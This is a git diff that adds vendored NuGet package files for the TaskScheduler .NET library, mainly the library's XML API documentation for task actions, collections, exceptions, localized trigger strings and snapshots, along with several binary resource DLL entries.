System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/de/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..ae0a81a Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/es/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..58a405d Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/fr/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..1cee339 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/it/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..9304816 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/ja/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..0ce27b8 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/ja/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/pl/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..77124d8 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/ru/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..8059136 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/sv/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..b208754 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/sv/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/tr/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..72647a5 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/tr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..c4a36bc Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..d93fa15 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000..e2e3969 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.xml b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/packages/TaskScheduler.2.12.2/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file 